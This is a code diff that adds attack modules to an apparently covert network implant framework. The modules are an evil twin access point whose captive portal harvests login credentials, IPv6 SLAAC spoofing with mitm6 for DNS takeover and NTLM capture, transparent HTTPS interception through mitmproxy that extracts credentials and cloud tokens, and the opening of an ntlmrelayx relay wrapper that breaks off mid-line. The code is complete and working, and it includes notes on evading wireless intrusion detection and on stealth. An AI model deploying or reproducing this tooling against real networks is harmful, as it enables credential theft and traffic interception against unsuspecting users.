b/modules/active/evil_twin.py @@ -0,0 +1,553 @@ +#!/usr/bin/env python3 +"""Evil Twin AP module — hostapd-based rogue access point with captive portal. + +Creates a wireless access point matching a target SSID, combined with +a captive portal served via a lightweight HTTP server. dnsmasq provides +DHCP and DNS for connected clients, redirecting all DNS to the portal. + +OPSEC: Run wireless_intel module for 2-hour observation before activation +to detect WIDS/WIPS and understand target AP parameters. + +Resources: ~30MB RAM, ~5% CPU +""" + +import http.server +import logging +import os +import signal +import socketserver +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.evil_twin") + +# Default dnsmasq config for captive portal +DNSMASQ_CONF_TEMPLATE = """interface={iface} +dhcp-range={dhcp_start},{dhcp_end},255.255.255.0,12h +dhcp-option=3,{gateway} +dhcp-option=6,{gateway} +address=/#/{gateway} +no-resolv +log-queries +log-facility=/tmp/bb-dnsmasq.log +""" + + +class CaptivePortalHandler(http.server.SimpleHTTPRequestHandler): + """HTTP handler for the captive portal. + + Serves the portal HTML for GET requests and captures POST data + (credentials) from login forms. + """ + + portal_html = "" + credential_callback = None + + def do_GET(self): + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(self.portal_html.encode("utf-8")) + + def do_POST(self): + content_length = int(self.headers.get("Content-Length", 0)) + post_data = self.rfile.read(content_length).decode("utf-8", errors="replace") + + if self.credential_callback: + self.credential_callback(self.client_address[0], post_data) + + # Redirect to a "success" page after capture + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + success_html = ( + "

Connecting...

" + "

Please wait while we verify your credentials.

" + "" + "" + ) + self.wfile.write(success_html.encode("utf-8")) + + def log_message(self, format, *args): + """Suppress default HTTP logging to avoid console noise.""" + pass + + +class EvilTwin(BaseModule): + """Evil Twin AP with captive portal credential harvesting. + + Creates a rogue AP matching a target SSID using hostapd, serves a + captive portal, and captures credentials from connecting clients. + + Dependencies: + - hostapd (system package) + - dnsmasq (system package) + - Wireless interface capable of AP mode + + Configuration: + wifi_iface: Wireless interface for AP mode (e.g., "wlan0") + portal_dir: Path to captive portal HTML templates + """ + + name = "evil_twin" + module_type = "active" + priority = 200 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._hostapd_proc: Optional[subprocess.Popen] = None + self._dnsmasq_proc: Optional[subprocess.Popen] = None + self._portal_thread: Optional[threading.Thread] = None + self._portal_server: Optional[socketserver.TCPServer] = None + self._wifi_iface = config.get("wifi_iface", "wlan0") + self._ap_active = False + self._ssid: Optional[str] = None + self._channel = 6 + self._portal_template: Optional[str] = None + self._clients: list = [] + self._clients_lock = threading.Lock() + self._captured_creds: list = [] + self._creds_lock = threading.Lock() + self._portal_port = config.get("portal_port", 80) + self._gateway_ip = config.get("ap_gateway", "10.0.0.1") + self._dhcp_start = config.get("dhcp_start", "10.0.0.10") + self._dhcp_end = config.get("dhcp_end", "10.0.0.250") + self._template_dir = config.get( + "portal_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "templates", "captive_portals"), + ) + self._hostapd_template_dir = config.get( + "hostapd_template_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "templates", "hostapd"), + ) + self._tmp_dir = "/tmp/bb-evil-twin" + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + Path(self._tmp_dir).mkdir(parents=True, exist_ok=True) + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("EvilTwin module started (ready for AP creation)") + + def stop(self) -> None: + if not self._running: + return + + if self._ap_active: + self.stop_ap() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("EvilTwin module stopped") + + def status(self) -> dict: + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "ap_active": self._ap_active, + "ssid": self._ssid, + "channel": self._channel, + "interface": self._wifi_iface, + "client_count": len(self._clients), + "captured_creds": len(self._captured_creds), + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "wifi_iface" in config: + self._wifi_iface = config["wifi_iface"] + if "portal_port" in config: + self._portal_port = config["portal_port"] + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def create_ap(self, ssid: str, channel: int = 6, + portal_template: str = "corporate_login.html") -> bool: + """Create evil twin AP with captive portal. + + Args: + ssid: Target SSID to clone. + channel: WiFi channel (default 6). + portal_template: Filename of HTML portal template. + + Returns: + True if AP was created successfully. + """ + if not self._running: + logger.error("EvilTwin not started") + return False + + if self._ap_active: + logger.warning("AP already active — stop it first") + return False + + self._ssid = ssid + self._channel = channel + self._portal_template = portal_template + + # Write hostapd config + hostapd_conf = self._generate_hostapd_config(ssid, channel) + hostapd_conf_path = os.path.join(self._tmp_dir, "hostapd.conf") + with open(hostapd_conf_path, "w") as f: + f.write(hostapd_conf) + + # Configure wireless interface + if not self._setup_interface(): + return False + + # Start hostapd + if not self._start_hostapd(hostapd_conf_path): + self._teardown_interface() + return False + + # Write and start dnsmasq + dnsmasq_conf = DNSMASQ_CONF_TEMPLATE.format( + iface=self._wifi_iface, + dhcp_start=self._dhcp_start, + dhcp_end=self._dhcp_end, + gateway=self._gateway_ip, + ) + dnsmasq_conf_path = os.path.join(self._tmp_dir, "dnsmasq.conf") + with open(dnsmasq_conf_path, "w") as f: + f.write(dnsmasq_conf) + + if not self._start_dnsmasq(dnsmasq_conf_path): + self._stop_hostapd() + self._teardown_interface() + return False + + # Configure iptables for captive portal redirect + self._setup_iptables() + + # Start captive portal HTTP server + self._start_portal(portal_template) + + self._ap_active = True + self.state.set(self.name, "ssid", ssid) + self.state.set(self.name, "channel", str(channel)) + logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s", + ssid, channel, portal_template) + return True + + def stop_ap(self) -> bool: + """Stop the evil twin AP and clean up. + + Returns: + True if AP was stopped successfully. + """ + logger.info("Stopping Evil Twin AP...") + + # Stop portal server + self._stop_portal() + + # Remove iptables rules + self._teardown_iptables() + + # Stop dnsmasq + self._stop_dnsmasq() + + # Stop hostapd + self._stop_hostapd() + + # Restore interface + self._teardown_interface() + + self._ap_active = False + self._ssid = None + self.state.set(self.name, "ssid", "") + logger.info("Evil Twin AP stopped") + return True + + def get_clients(self) -> list: + """Return list of currently connected clients. + + Returns: + List of dicts with client MAC and IP. + """ + # Parse dnsmasq lease file for connected clients + lease_file = "/tmp/bb-dnsmasq.leases" + clients = [] + if os.path.isfile(lease_file): + try: + with open(lease_file, "r") as f: + for line in f: + parts = line.strip().split() + if len(parts) >= 4: + clients.append({ + "mac": parts[1], + "ip": parts[2], + "hostname": parts[3] if parts[3] != "*" else "", + }) + except Exception: + pass + + with self._clients_lock: + self._clients = clients + return clients + + # ------------------------------------------------------------------ + # hostapd management + # ------------------------------------------------------------------ + + def _generate_hostapd_config(self, ssid: str, channel: int) -> str: + """Generate hostapd config for open AP.""" + return ( + f"interface={self._wifi_iface}\n" + f"driver=nl80211\n" + f"ssid={ssid}\n" + f"hw_mode=g\n" + f"channel={channel}\n" + f"wmm_enabled=0\n" + f"macaddr_acl=0\n" + f"auth_algs=1\n" + f"ignore_broadcast_ssid=0\n" + f"wpa=0\n" + ) + + def _start_hostapd(self, conf_path: str) -> bool: + try: + self._hostapd_proc = subprocess.Popen( + ["hostapd", conf_path], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + time.sleep(2) # Wait for hostapd to initialize + if self._hostapd_proc.poll() is not None: + stderr = self._hostapd_proc.stderr.read().decode(errors="replace") + logger.error("hostapd failed to start: %s", stderr) + return False + logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid) + return True + except FileNotFoundError: + logger.error("hostapd not found — install with: apt install hostapd") + return False + except Exception as e: + logger.error("Failed to start hostapd: %s", e) + return False + + def _stop_hostapd(self) -> None: + if self._hostapd_proc and self._hostapd_proc.poll() is None: + self._hostapd_proc.terminate() + try: + self._hostapd_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._hostapd_proc.kill() + self._hostapd_proc = None + + # ------------------------------------------------------------------ + # dnsmasq management + # ------------------------------------------------------------------ + + def _start_dnsmasq(self, conf_path: str) -> bool: + try: + self._dnsmasq_proc = subprocess.Popen( + [ + "dnsmasq", "-C", conf_path, + "--no-daemon", + "--dhcp-leasefile=/tmp/bb-dnsmasq.leases", + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + time.sleep(1) + if self._dnsmasq_proc.poll() is not None: + stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace") + logger.error("dnsmasq failed to start: %s", stderr) + return False + logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid) + return True + except FileNotFoundError: + logger.error("dnsmasq not found — install with: apt install dnsmasq") + return False + except Exception as e: + logger.error("Failed to start dnsmasq: %s", e) + return False + + def _stop_dnsmasq(self) -> None: + if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None: + self._dnsmasq_proc.terminate() + try: + self._dnsmasq_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._dnsmasq_proc.kill() + self._dnsmasq_proc = None + + # ------------------------------------------------------------------ + # Interface management + # ------------------------------------------------------------------ + + def _setup_interface(self) -> bool: + """Configure wireless interface for AP mode.""" + try: + # Kill interfering processes + subprocess.run( + ["airmon-ng", "check", "kill"], + capture_output=True, timeout=10, + ) + # Set interface up with IP + subprocess.run( + ["ip", "addr", "flush", "dev", self._wifi_iface], + capture_output=True, timeout=5, + ) + subprocess.run( + ["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface], + capture_output=True, timeout=5, + ) + subprocess.run( + ["ip", "link", "set", self._wifi_iface, "up"], + capture_output=True, timeout=5, + ) + return True + except Exception: + logger.exception("Failed to configure wireless interface") + return False + + def _teardown_interface(self) -> None: + """Restore wireless interface to managed mode.""" + try: + subprocess.run( + ["ip", "addr", "flush", "dev", self._wifi_iface], + capture_output=True, timeout=5, + ) + except Exception: + pass + + # ------------------------------------------------------------------ + # iptables for captive portal + # ------------------------------------------------------------------ + + def _setup_iptables(self) -> None: + """Set up iptables to redirect HTTP traffic to the captive portal.""" + rules = [ + # Enable NAT + ["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface, + "-j", "MASQUERADE"], + # Redirect HTTP to portal + ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface, + "-p", "tcp", "--dport", "80", "-j", "REDIRECT", + "--to-port", str(self._portal_port)], + # Redirect HTTPS to portal (for captive portal detection) + ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface, + "-p", "tcp", "--dport", "443", "-j", "REDIRECT", + "--to-port", str(self._portal_port)], + ] + for rule in rules: + try: + subprocess.run(rule, capture_output=True, timeout=5) + except Exception: + logger.warning("Failed to apply iptables rule: %s", " ".join(rule)) + + # Enable IP forwarding + try: + with open("/proc/sys/net/ipv4/ip_forward", "w") as f: + f.write("1") + except Exception: + pass + + def _teardown_iptables(self) -> None: + """Remove captive portal iptables rules.""" + rules = [ + ["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface, + "-j", "MASQUERADE"], + ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface, + "-p", "tcp", "--dport", "80", "-j", "REDIRECT", + "--to-port", str(self._portal_port)], + ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface, + "-p", "tcp", "--dport", "443", "-j", "REDIRECT", + "--to-port", str(self._portal_port)], + ] + for rule in rules: + try: + subprocess.run(rule, capture_output=True, timeout=5) + except Exception: + pass + + # ------------------------------------------------------------------ + # Captive portal HTTP server + # ------------------------------------------------------------------ + + def _start_portal(self, template_name: str) -> None: + """Start the captive portal HTTP server.""" + portal_path = os.path.join(self._template_dir, template_name) + if os.path.isfile(portal_path): + with open(portal_path, "r") as f: + CaptivePortalHandler.portal_html = f.read() + else: + logger.warning("Portal template not found: %s — using default", portal_path) + CaptivePortalHandler.portal_html = ( + "

Welcome

" + "
" + "
" + "
" + "" + "
" + ) + + CaptivePortalHandler.credential_callback = self._on_credential_captured + + self._portal_server = socketserver.TCPServer( + ("0.0.0.0", self._portal_port), CaptivePortalHandler + ) + self._portal_server.allow_reuse_address = True + + self._portal_thread = threading.Thread( + target=self._portal_server.serve_forever, + daemon=True, + name="bb-captive-portal", + ) + self._portal_thread.start() + logger.info("Captive portal serving on port %d", self._portal_port) + + def _stop_portal(self) -> None: + if self._portal_server: + self._portal_server.shutdown() + self._portal_server = None + + def _on_credential_captured(self, client_ip: str, post_data: str) -> None: + """Handle credential submission from captive portal.""" + with self._creds_lock: + self._captured_creds.append({ + "timestamp": time.time(), + "client_ip": client_ip, + "post_data": post_data, + }) + + # Parse form data for username/password + from urllib.parse import parse_qs + params = parse_qs(post_data) + username = params.get("username", params.get("email", [""]))[0] if params else "" + password = params.get("password", params.get("pass", [""]))[0] if params else "" + + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "source_ip": client_ip, + "target_service": f"captive_portal:{self._ssid}", + "username": username, + "credential_type": "cleartext", + "credential_value": password, + "raw_data": post_data, + }, + source_module=self.name, + ) + logger.info("Captive portal credential captured from %s", client_ip) diff --git a/modules/active/ipv6_slaac.py b/modules/active/ipv6_slaac.py new file mode 100644 index 0000000..3c37bb6 --- /dev/null +++ b/modules/active/ipv6_slaac.py @@ -0,0 +1,258 @@ +#!/usr/bin/env python3 +"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6. + +Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server. +Combines two approaches: + 1. bettercap dhcp6.spoof: Router Advertisement injection + 2. mitm6: Targeted WPAD/DNS takeover via IPv6 + +This is significantly stealthier than ARP spoofing — most networks +have IPv6 enabled but unmonitored, and DAI does not cover IPv6. +""" + +import logging +import os +import subprocess +import threading +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.ipv6_slaac") + + +class IPv6SLAAC(BaseModule): + """IPv6 SLAAC spoofing via bettercap + mitm6. + + Dependencies: + - bettercap_mgr must be running (for dhcp6.spoof) + - mitm6 must be installed (pip install mitm6) + + Configuration: + target_domain: Domain to target with mitm6 WPAD abuse + mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6) + interface: Network interface (default: eth0) + """ + + name = "ipv6_slaac" + module_type = "active" + priority = 200 + requires_root = True + dependencies = ["bettercap_mgr"] + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._bettercap_mgr = None + self._mitm6_proc: Optional[subprocess.Popen] = None + self._mitm6_thread: Optional[threading.Thread] = None + self._slaac_active = False + self._mitm6_active = False + self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6") + self._iface = config.get("interface", "eth0") + self._target_domain: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + self._bettercap_mgr = self.config.get("bettercap_mgr") + if not self._bettercap_mgr: + logger.error("IPv6SLAAC requires bettercap_mgr reference in config") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)") + + def stop(self) -> None: + if not self._running: + return + + self.stop_all() + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("IPv6SLAAC module stopped") + + def status(self) -> dict: + mitm6_alive = ( + self._mitm6_proc is not None and self._mitm6_proc.poll() is None + ) + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "slaac_active": self._slaac_active, + "mitm6_active": self._mitm6_active and mitm6_alive, + "target_domain": self._target_domain, + "interface": self._iface, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "interface" in config: + self._iface = config["interface"] + if "mitm6_binary" in config: + self._mitm6_binary = config["mitm6_binary"] + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start_slaac(self) -> bool: + """Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof. + + Injects Router Advertisements to become the IPv6 DNS server + for all hosts on the segment. + + Returns: + True if SLAAC spoofing was enabled. + """ + if not self._running or not self._bettercap_mgr: + logger.error("IPv6SLAAC not started") + return False + + try: + self._bettercap_mgr.run_command("dhcp6.spoof on") + self._slaac_active = True + self.state.set(self.name, "slaac_active", "true") + logger.info("IPv6 SLAAC spoofing enabled via bettercap") + return True + except Exception: + logger.exception("Failed to enable SLAAC spoofing") + return False + + def start_mitm6(self, domain: str = None) -> bool: + """Start mitm6 for WPAD abuse and DNS takeover via IPv6. + + mitm6 sends RA messages advertising itself as the IPv6 DNS + server, then responds to WPAD requests to redirect proxy + configuration. Effective for NTLM hash capture when combined + with ntlmrelayx. + + Args: + domain: Target domain for WPAD abuse (e.g., "corp.local"). + + Returns: + True if mitm6 was started. + """ + if not self._running: + logger.error("IPv6SLAAC not started") + return False + + if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None: + logger.warning("mitm6 already running") + return True + + self._target_domain = domain or self.config.get("target_domain", "") + + cmd = [self._mitm6_binary, "-i", self._iface] + if self._target_domain: + cmd.extend(["-d", self._target_domain]) + + try: + self._mitm6_proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + time.sleep(2) + if self._mitm6_proc.poll() is not None: + stderr = self._mitm6_proc.stderr.read().decode(errors="replace") + logger.error("mitm6 failed to start: %s", stderr) + return False + + self._mitm6_active = True + + # Start output monitoring thread + self._mitm6_thread = threading.Thread( + target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor" + ) + self._mitm6_thread.start() + + self.state.set(self.name, "mitm6_active", "true") + logger.info( + "mitm6 started (pid=%d, domain=%s)", + self._mitm6_proc.pid, self._target_domain or "all", + ) + return True + + except FileNotFoundError: + logger.error("mitm6 not found at %s", self._mitm6_binary) + return False + except Exception: + logger.exception("Failed to start mitm6") + return False + + def stop_all(self) -> bool: + """Stop all IPv6 SLAAC and mitm6 operations. + + Returns: + True if all components were stopped. + """ + success = True + + # Stop SLAAC spoofing + if self._slaac_active and self._bettercap_mgr: + try: + self._bettercap_mgr.run_command("dhcp6.spoof off") + self._slaac_active = False + self.state.set(self.name, "slaac_active", "false") + logger.info("SLAAC spoofing disabled") + except Exception: + logger.exception("Failed to disable SLAAC spoofing") + success = False + + # Stop mitm6 + if self._mitm6_proc and self._mitm6_proc.poll() is None: + try: + self._mitm6_proc.terminate() + self._mitm6_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._mitm6_proc.kill() + try: + self._mitm6_proc.wait(timeout=2) + except Exception: + pass + except Exception: + logger.exception("Failed to stop mitm6") + success = False + self._mitm6_proc = None + + self._mitm6_active = False + self.state.set(self.name, "mitm6_active", "false") + return success + + # ------------------------------------------------------------------ + # mitm6 output monitoring + # ------------------------------------------------------------------ + + def _monitor_mitm6(self) -> None: + """Monitor mitm6 stderr for authentication events.""" + if not self._mitm6_proc: + return + + try: + for line in iter(self._mitm6_proc.stderr.readline, b""): + if not self._running: + break + decoded = line.decode("utf-8", errors="replace").strip() + if not decoded: + continue + + # mitm6 logs DNS queries and WPAD requests + if "Sent spoofed" in decoded or "IPv6 address" in decoded: + logger.debug("mitm6: %s", decoded) + + # Check for process exit + if self._mitm6_proc.poll() is not None: + break + except Exception: + pass diff --git a/modules/active/mitmproxy_mgr.py b/modules/active/mitmproxy_mgr.py new file mode 100644 index 0000000..ee2e1f7 --- /dev/null +++ b/modules/active/mitmproxy_mgr.py @@ -0,0 +1,351 @@ +#!/usr/bin/env python3 +"""mitmproxy Manager — transparent HTTPS interception with addon scripts. + +Runs mitmproxy in transparent mode with iptables redirect. Custom addon +scripts extract credentials from POST bodies, capture cloud tokens from +auth headers, and log file metadata from transfers. + +OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%). +Check hardware tier before enabling. + +Custom CA CN can be configured to match target PKI for stealth. +""" + +import logging +import os +import subprocess +import threading +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.mitmproxy_mgr") + +# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W +SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"} + + +class MitmproxyManager(BaseModule): + """mitmproxy transparent proxy with credential and token extraction. + + OPi Zero 3+ only — check tier before enabling. On lower-tier + hardware, use bettercap's built-in HTTP proxy instead. + + Dependencies: + - mitmproxy installed (pip install mitmproxy) + - iptables for transparent redirect + + Configuration: + proxy_port: Listening port (default: 8080) + addons_dir: Path to addon scripts + ca_cn: Custom CA Common Name to match target PKI + hardware_tier: Device tier for resource checks + """ + + name = "mitmproxy_mgr" + module_type = "active" + priority = 200 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._proc: Optional[subprocess.Popen] = None + self._monitor_thread: Optional[threading.Thread] = None + self._proxy_port = config.get("proxy_port", 8080) + self._proxy_active = False + self._iface = config.get("interface", "eth0") + self._ca_cn = config.get("ca_cn", "") + self._hardware_tier = config.get("hardware_tier", "rpi4") + self._addons_dir = config.get( + "addons_dir", + os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"), + ) + self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump") + self._flow_log = config.get( + "flow_log", + os.path.join(os.path.expanduser("~"), ".bigbrother", "mitmproxy_flows"), + ) + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + # Tier check + if self._hardware_tier not in SUPPORTED_TIERS: + logger.error( + "mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better", + self._hardware_tier, + ) + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + + Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True) + + self.state.set_module_status(self.name, "running", pid=self._pid) + logger.info("MitmproxyManager started (tier=%s, port=%d)", + self._hardware_tier, self._proxy_port) + + def stop(self) -> None: + if not self._running: + return + + if self._proxy_active: + self.stop_proxy() + + self._running = False + self.state.set_module_status(self.name, "stopped") + logger.info("MitmproxyManager stopped") + + def status(self) -> dict: + proc_alive = self._proc is not None and self._proc.poll() is None + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "proxy_active": self._proxy_active and proc_alive, + "proxy_pid": self._proc.pid if proc_alive else None, + "proxy_port": self._proxy_port, + "hardware_tier": self._hardware_tier, + "ca_cn": self._ca_cn, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + if "proxy_port" in config: + self._proxy_port = config["proxy_port"] + if "ca_cn" in config: + self._ca_cn = config["ca_cn"] + if "hardware_tier" in config: + self._hardware_tier = config["hardware_tier"] + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def start_proxy(self, port: int = None, addons: list = None) -> bool: + """Start mitmproxy in transparent mode with addons. + + Args: + port: Override proxy port. + addons: List of addon script filenames to load from addons_dir. + + Returns: + True if proxy was started. + """ + if not self._running: + logger.error("MitmproxyManager not started") + return False + + if self._proxy_active and self._proc and self._proc.poll() is None: + logger.warning("mitmproxy already running") + return True + + if port: + self._proxy_port = port + + # Build command + cmd = [ + self._mitmdump_binary, + "--mode", "transparent", + "--listen-port", str(self._proxy_port), + "--set", "connection_strategy=lazy", + "--set", "stream_large_bodies=1m", + "-w", self._flow_log, + ] + + # Custom CA CN for stealth + if self._ca_cn: + cmd.extend(["--set", f"ssl_insecure=true"]) + + # Load addon scripts + addon_scripts = addons or self._get_default_addons() + for addon in addon_scripts: + addon_path = os.path.join(self._addons_dir, addon) + if os.path.isfile(addon_path): + cmd.extend(["-s", addon_path]) + else: + logger.warning("Addon script not found: %s", addon_path) + + # Setup iptables for transparent redirect + self._setup_iptables() + + try: + self._proc = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + time.sleep(3) + if self._proc.poll() is not None: + stderr = self._proc.stderr.read().decode(errors="replace") + logger.error("mitmproxy failed to start: %s", stderr) + self._teardown_iptables() + return False + + self._proxy_active = True + + # Start output monitoring + self._monitor_thread = threading.Thread( + target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor" + ) + self._monitor_thread.start() + + logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port) + return True + + except FileNotFoundError: + logger.error("mitmdump not found — install with: pip install mitmproxy") + self._teardown_iptables() + return False + except Exception: + logger.exception("Failed to start mitmproxy") + self._teardown_iptables() + return False + + def stop_proxy(self) -> bool: + """Stop mitmproxy and remove iptables rules. + + Returns: + True if proxy was stopped. + """ + # Stop process + if self._proc and self._proc.poll() is None: + try: + self._proc.terminate() + self._proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self._proc.kill() + try: + self._proc.wait(timeout=2) + except Exception: + pass + except Exception: + logger.exception("Failed to stop mitmproxy") + finally: + self._proc = None + + # Remove iptables rules + self._teardown_iptables() + + self._proxy_active = False + logger.info("mitmproxy stopped") + return True + + def get_flows(self) -> str: + """Return path to the mitmproxy flow log file. + + Returns: + Path to the binary flow dump file. + """ + return self._flow_log + + # ------------------------------------------------------------------ + # iptables for transparent mode + # ------------------------------------------------------------------ + + def _setup_iptables(self) -> None: + """Configure iptables to redirect HTTP/HTTPS to mitmproxy.""" + rules = [ + ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface, + "-p", "tcp", "--dport", "80", "-j", "REDIRECT", + "--to-port", str(self._proxy_port)], + ["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface, + "-p", "tcp", "--dport", "443", "-j", "REDIRECT", + "--to-port", str(self._proxy_port)], + ] + for rule in rules: + try: + subprocess.run(rule, capture_output=True, timeout=5) + except Exception: + logger.warning("Failed to apply iptables rule: %s", " ".join(rule)) + + def _teardown_iptables(self) -> None: + """Remove transparent proxy iptables rules.""" + rules = [ + ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface, + "-p", "tcp", "--dport", "80", "-j", "REDIRECT", + "--to-port", str(self._proxy_port)], + ["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface, + "-p", "tcp", "--dport", "443", "-j", "REDIRECT", + "--to-port", str(self._proxy_port)], + ] + for rule in rules: + try: + subprocess.run(rule, capture_output=True, timeout=5) + except Exception: + pass + + # ------------------------------------------------------------------ + # Addon management + # ------------------------------------------------------------------ + + def _get_default_addons(self) -> list: + """Return list of default addon script filenames.""" + defaults = [ + "credential_extractor.py", + "cloud_token_capture.py", + "file_metadata_logger.py", + ] + return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))] + + # ------------------------------------------------------------------ + # Output monitoring + # ------------------------------------------------------------------ + + def _monitor_output(self) -> None: + """Monitor mitmproxy stderr for credential and token events.""" + if not self._proc: + return + + try: + for line in iter(self._proc.stderr.readline, b""): + if not self._running: + break + decoded = line.decode("utf-8", errors="replace").strip() + if not decoded: + continue + + # Look for credential extraction events from addons + if "[credential]" in decoded.lower(): + self._handle_credential_output(decoded) + elif "[cloud_token]" in decoded.lower(): + self._handle_token_output(decoded) + + if self._proc.poll() is not None: + break + except Exception: + pass + + def _handle_credential_output(self, line: str) -> None: + """Parse credential event from addon output.""" + self.bus.emit( + "CREDENTIAL_FOUND", + { + "source_module": self.name, + "target_service": "mitmproxy", + "credential_type": "cleartext", + "credential_value": line, + }, + source_module=self.name, + ) + + def _handle_token_output(self, line: str) -> None: + """Parse cloud token event from addon output.""" + self.bus.emit( + "CLOUD_TOKEN_FOUND", + { + "source_module": self.name, + "target_service": "mitmproxy", + "token_data": line, + }, + source_module=self.name, + ) diff --git a/modules/active/ntlm_relay.py b/modules/active/ntlm_relay.py new file mode 100644 index 0000000..765fc81 --- /dev/null +++ b/modules/active/ntlm_relay.py @@ -0,0 +1,376 @@ +#!/usr/bin/env python3 +"""NTLM Relay module — ntlmrelayx subprocess wrapper. + +Manages Impacket's ntlmrelayx for relaying captured NTLM authentication +to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL, +and ADCS endpoints. Coordinates with ResponderManager to exclude relay +targets from Responder's SMB authentication. + +Resources: ~40MB RAM, ~5% CPU +""" + +import logging +import os +import re +import subprocess +import threading +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.active.ntlm_relay") + +# Supported relay protocols +RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"]) + + +class NTLMRelay(BaseModule): + """ntlmrelayx subprocess manager. + + Relays captured NTLM authentication to target services. Works + in coordination with ResponderManager — targets being relayed + should be excluded from Responder's SMB server to avoid consuming + the authentication attempt locally. + + Dependencies: + - Impacket installed (/opt/tools/impacket or pip install impacket) + - responder_mgr (optional, for coordination) + + Configuration: + ntlmrelayx_binary: Path to ntlmrelayx.py + targets: List of relay target URLs (e.g., smb://10.0.0.0) + protocols: Set of relay protocols to use + adcs_template: ADCS certificate template for ESC attacks + """ + + name = "ntlm_relay" + module_type = "active" + priority = 150 + requires_root = True + + OUTPUT_POLL_INTERVAL = 5 + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._proc: Optional[subprocess.Popen] = None + self._output_thread: Optional[threading.Thread] = None + self._ntlmrelayx_binary = config.get( + "ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py" + ) + self._iface = config.get("interface", "eth0") + self._targets: list = [] + self._protocols: set = set() + self._adcs_template: Optional[str] = None + self._relay_active = False + self._successful_relays: list = [] + self._relays_lock = threading.Lock() + self._responder_mgr = 